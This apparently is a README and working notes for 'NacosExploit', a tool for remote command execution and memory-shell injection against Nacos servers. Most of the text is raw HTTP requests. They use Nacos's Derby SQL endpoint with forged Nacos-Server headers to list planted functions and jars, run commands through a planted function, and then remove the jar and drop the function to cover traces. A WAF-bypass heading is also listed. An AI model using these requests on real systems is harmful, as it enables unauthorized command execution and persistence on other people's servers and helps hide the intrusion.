jimmysax / NacosExploit

NacosExploit 命令执行 内存马等利用

1. 部署函数id问题 没办法 存一下吧✅ (被部署太多不容易打，可参考6)

2. 本地加载 ✅

3. 关闭时要结束进程✅

4. 内存马太大 怎么办 ？

   命令写内存jar？ 精简 ？ ❎ 换蚁剑✅

5. 判断系统 人工选择路径✅

6. 擦屁股/爆菊

   查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具

   GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
   Host: 172.16.0.95:8848
   Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
   Connection: close
   

查询部署的jar

GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

利用

GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

删除jar 卸载函数

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain


CALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)
------WebKitFormBoundarymeBFzDXo--

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain


DROP FUNCTION S_EXAMPLE_AGIAJSOK
------WebKitFormBoundarymeBFzDXo--

验证

7. bypass waf

......